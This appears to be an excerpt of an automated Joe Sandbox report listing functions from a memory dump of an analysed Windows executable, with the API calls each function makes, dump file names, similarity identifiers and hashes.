Part of subcall function 01033A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 01033A57
Part of subcall function 01033A3D: GetCurrentThreadId.KERNEL32 ref: 01033A5E
Part of subcall function 01033A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,010325B3), ref: 01033A65

GetCaretPos.USER32(?), ref: 010616FF
ClientToScreen.USER32(00000000,?), ref: 0106174C
GetForegroundWindow.USER32 ref: 01061752

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: acce1fc6e2324259d5ff2f10a8dc0313d06b344930df1749a4f1ee6ec9b9fd36
Instruction ID: 488f249df222336859af4fc3e7b5b159fbedbb7d53cecebe895b75f8d27f6243
Opcode Fuzzy Hash: acce1fc6e2324259d5ff2f10a8dc0313d06b344930df1749a4f1ee6ec9b9fd36
Instruction Fuzzy Hash: 94313E75D00249AFD700EFA9C8818EEBBFDFF88204B5480AAE455E7311E7359E45CBA0

Function 0103DF95 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00FD7620: _wcslen.LIBCMT ref: 00FD7625

_wcslen.LIBCMT ref: 0103DFCB
_wcslen.LIBCMT ref: 0103DFE2
_wcslen.LIBCMT ref: 0103E00D
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0103E018

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: cc074f2679c2f0ffa7af57c12a0743ed4c9dcd7e52d68af260bb226cabfc476a
Instruction ID: 19a5cccb4f1b2562a32a420f6253ab104d4b49c09c96c9cbeb5105ee21207bac
Opcode Fuzzy Hash: cc074f2679c2f0ffa7af57c12a0743ed4c9dcd7e52d68af260bb226cabfc476a
Instruction Fuzzy Hash: 8721D671D00214AFCB219FA8CD81B6EB7F8EF85710F144065F944FB245D6749E408BA1

Function 01068FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

GetCursorPos.USER32(?), ref: 01069001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,01027711,?,?,?,?,?), ref: 01069016
GetCursorPos.USER32(?), ref: 0106905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,01027711,?,?,?), ref: 01069094

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 42a975d3fc39406ffa6f96ecf704eca8e7d81700c059f823d67988ecb9033212
Instruction ID: 1dd98e5451fa0d60c4693b410fad92e71ae3c59eca9131f89d279a66482eacb8
Opcode Fuzzy Hash: 42a975d3fc39406ffa6f96ecf704eca8e7d81700c059f823d67988ecb9033212
Instruction Fuzzy Hash: D521BF35601018FFEF258F98C848EFA3FF9EB89350F004099FA8547261C3369990DB60

Function 0103D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0106CB68), ref: 0103D2FB
GetLastError.KERNEL32 ref: 0103D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0103D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0106CB68), ref: 0103D376

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: fc3842c407c58d6382caafa14ec9b325fff81840d0faf01edec9943a8db1b455
Instruction ID: ed6111901316be25e84a1e00bf8fc7adf8e584495e540565fa6f89ae344476e9
Opcode Fuzzy Hash: fc3842c407c58d6382caafa14ec9b325fff81840d0faf01edec9943a8db1b455
Instruction Fuzzy Hash: FF21E2705083019F9310DFA8C98086E7BECEE86324F948A5EF4D9C72A1D735DE09CB92

Function 01031571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 01031014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0103102A
Part of subcall function 01031014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 01031036
Part of subcall function 01031014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 01031045
Part of subcall function 01031014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0103104C
Part of subcall function 01031014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 01031062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 010315BE
_memcmp.LIBVCRUNTIME ref: 010315E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01031617
HeapFree.KERNEL32(00000000), ref: 0103161E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 4eba2cb71552c9f9f650033a5a172887f87730b2b119a1af4991f6dffefe7376
Instruction ID: 89dc790d7e67506cb17119217a11e5adecf2851ea69194f8be6e9d481713de0a
Opcode Fuzzy Hash: 4eba2cb71552c9f9f650033a5a172887f87730b2b119a1af4991f6dffefe7376
Instruction Fuzzy Hash: C1219031E00109EFEB10DFA9C944BEEBBF8EF88354F084499E581AB240D735AA05DB60

Function 01062782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0106280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 01062824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 01062832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 01062840

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: c41adb4273bf84d63fa00043bf6425c5c77442e8b01134693b910684d477818a
Instruction ID: 1193ca5c2cdab0838c5092488acfeb9d05eb89f46ef1dfcc0e6f16faa9af26d1
Opcode Fuzzy Hash: c41adb4273bf84d63fa00043bf6425c5c77442e8b01134693b910684d477818a
Instruction Fuzzy Hash: 1421C131205112AFE7149B24CC44FAA7B99AF45324F198159F4A68B6E2C77AEC82C7D0

Function 0104CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0104CE89
GetLastError.KERNEL32(?,00000000), ref: 0104CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0104CEFE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 6446c62382a9aafd06ef2925a5bda398bd3d259df7617dfd15904aa960416bbb
Instruction ID: 16a41945809d4938086c1d1d1ac369cccf750c1ac0f601e6c72c4a91894021c4
Opcode Fuzzy Hash: 6446c62382a9aafd06ef2925a5bda398bd3d259df7617dfd15904aa960416bbb
Instruction Fuzzy Hash: E92190B15013059BF770DF6ACA84BAA7BF8EF40354F10446EE6C6D2162E779EA049B50

Function 010378F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01038D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0103790A,?,000000FF,?,01038754,00000000,?,0000001C,?,?), ref: 01038D8C
Part of subcall function 01038D7D: lstrcpyW.KERNEL32(00000000,?,?,0103790A,?,000000FF,?,01038754,00000000,?,0000001C,?,?,00000000), ref: 01038DB2
Part of subcall function 01038D7D: lstrcmpiW.KERNEL32(00000000,?,0103790A,?,000000FF,?,01038754,00000000,?,0000001C,?,?), ref: 01038DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,01038754,00000000,?,0000001C,?,?,00000000), ref: 01037923
lstrcpyW.KERNEL32(00000000,?,?,01038754,00000000,?,0000001C,?,?,00000000), ref: 01037949
lstrcmpiW.KERNEL32(00000002,cdecl,?,01038754,00000000,?,0000001C,?,?,00000000), ref: 01037984

Strings

cdecl, xrefs: 0103797B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 161b6bf508da2522d27f408f59cac04448ca5512c5b32120f4f23216710a31fe
Instruction ID: b64251baa8cbc953f2537af8ab19cae0a1aae5017949b02b18376790c1d4e656
Opcode Fuzzy Hash: 161b6bf508da2522d27f408f59cac04448ca5512c5b32120f4f23216710a31fe
Instruction Fuzzy Hash: BC11067A200342ABDB256F39C844E7A77E9FF85350B00816BF982CB264EB369801C751

Function 01067CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 01067D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 01067D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 01067D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0104B7AD,00000000), ref: 01067D6B

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: c112b62e5f9227084c56163900a14b92934b53da485f43edfa33750358b3753d
Instruction ID: 1de9685bb4d26cc3a26201b68881aaca2df2a56f6d0d569f24bc0245873d59d0
Opcode Fuzzy Hash: c112b62e5f9227084c56163900a14b92934b53da485f43edfa33750358b3753d
Instruction Fuzzy Hash: 2611E432200615AFDB60AF2CCC04A6A3BE8BB45374F114B64F9B5C72F4E7358950CB50

Function 01065660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 010656BB
_wcslen.LIBCMT ref: 010656CD
_wcslen.LIBCMT ref: 010656D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 01065816

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: b9474b84c0fdfc845bac379499baf98fbdcc81807b5c1106b71c4b1ad2affdd0
Instruction ID: 81b9f5e5a1661ed79f61b48ae0d3b35ae9ad5e16fad4ebe49523f0b81fc2d517
Opcode Fuzzy Hash: b9474b84c0fdfc845bac379499baf98fbdcc81807b5c1106b71c4b1ad2affdd0
Instruction Fuzzy Hash: 3111D67160020996EB209F65DC85AFF7BACEF057A4F0040AAFAD5D6081EBB4D540CB60

Function 01001D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee98c522b8af2b8502dff0751215f1c520cd55041580386c951f5f8054a1e8ee
Instruction ID: 53de52e6dffcd1c4aba9f59f10037b52bdaf852298f2acacadbd3dfedd877f99
Opcode Fuzzy Hash: ee98c522b8af2b8502dff0751215f1c520cd55041580386c951f5f8054a1e8ee
Instruction Fuzzy Hash: 6701A2B220961A7EF66335B86CC0F6B665DDF513B8F300326F6A1A11D5EB71CC004270

Function 01031A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 01031A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 01031A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 01031A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 01031A8A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b66ecb809a49d730073bf9905cbe8179fbfbf87ffb72a5647985ec5c1690e940
Instruction ID: 77b93934eb42ab904acefdf3372fcd4391b2bd615e296b67771a3e29cde89083
Opcode Fuzzy Hash: b66ecb809a49d730073bf9905cbe8179fbfbf87ffb72a5647985ec5c1690e940
Instruction Fuzzy Hash: DD11093AD00219FFEB11DBA9C985FADBBB8EB48750F200091EA44B7290D7716E51DB94

Function 0103E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0103E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0103E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0103E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0103E24D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 7e5325b9fbe69f89d403eb7642ea0b9aa544189a7903912d90d99b0c39eee3dd
Instruction ID: 19b47b52b44b8211515cd464d98accccaf27ef626461038d2571f84c99324e93
Opcode Fuzzy Hash: 7e5325b9fbe69f89d403eb7642ea0b9aa544189a7903912d90d99b0c39eee3dd
Instruction Fuzzy Hash: FC11DB76904258BFD7219FACDC05A9E7FADAF85310F048355F994D3284D6B9D90487A0

Function 00FFD1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00FFCFF9,00000000,00000004,00000000), ref: 00FFD218
GetLastError.KERNEL32 ref: 00FFD224
__dosmaperr.LIBCMT ref: 00FFD22B
ResumeThread.KERNEL32(00000000), ref: 00FFD249

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: c77671f7113293bcd8688f532970268a9d4716f4c407e6348f3c586e7f0036ac
Instruction ID: bf9b8ba75b8777e86f28b51c35c22dd8de2ef1e07a177f322ad23c976c06f397
Opcode Fuzzy Hash: c77671f7113293bcd8688f532970268a9d4716f4c407e6348f3c586e7f0036ac
Instruction Fuzzy Hash: 6901D63680511CBBEB215BA5DC09BBE7A6ADF82331F100259FA25961F0DB75C901E7E0

Function 00FD600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00FD604C
GetStockObject.GDI32(00000011), ref: 00FD6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00FD606A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 75c3d9ac082bcae54f8f41cd129e2cf69092170c40a390e5c7315318c6d93504
Instruction ID: b3d8886e4b6f6c94510251931b1641330a7238188c1c3cd0e3351fe2cfaf3ad6
Opcode Fuzzy Hash: 75c3d9ac082bcae54f8f41cd129e2cf69092170c40a390e5c7315318c6d93504
Instruction Fuzzy Hash: BB116172501549BFEF225F949C48EEA7B6AFF0D364F040116FA5492114D73ADC60EB90

Function 00FF3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00FF3B56

Part of subcall function 00FF3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00FF3AD2
Part of subcall function 00FF3AA3: ___AdjustPointer.LIBCMT ref: 00FF3AED

_UnwindNestedFrames.LIBCMT ref: 00FF3B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00FF3B7C
CallCatchBlock.LIBVCRUNTIME ref: 00FF3BA4

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 0d96a72a7dcc28a065c97870d4f4ba8c11b08f982fb95cdba298975abdb9078c
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: FC01173250014DBBDF125E95CC42EFB3B69EF88764F044055FF48A6131C636E961EBA0

Function 01003073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00FD13C6,00000000,00000000,?,0100301A,00FD13C6,00000000,00000000,00000000,?,0100328B,00000006,FlsSetValue), ref: 010030A5
GetLastError.KERNEL32(?,0100301A,00FD13C6,00000000,00000000,00000000,?,0100328B,00000006,FlsSetValue,01072290,FlsSetValue,00000000,00000364,?,01002E46), ref: 010030B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0100301A,00FD13C6,00000000,00000000,00000000,?,0100328B,00000006,FlsSetValue,01072290,FlsSetValue,00000000), ref: 010030BF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: c63e4ab38c603906820a7dadf402c86f31ed26f631e3efb6350bb96b336cf20b
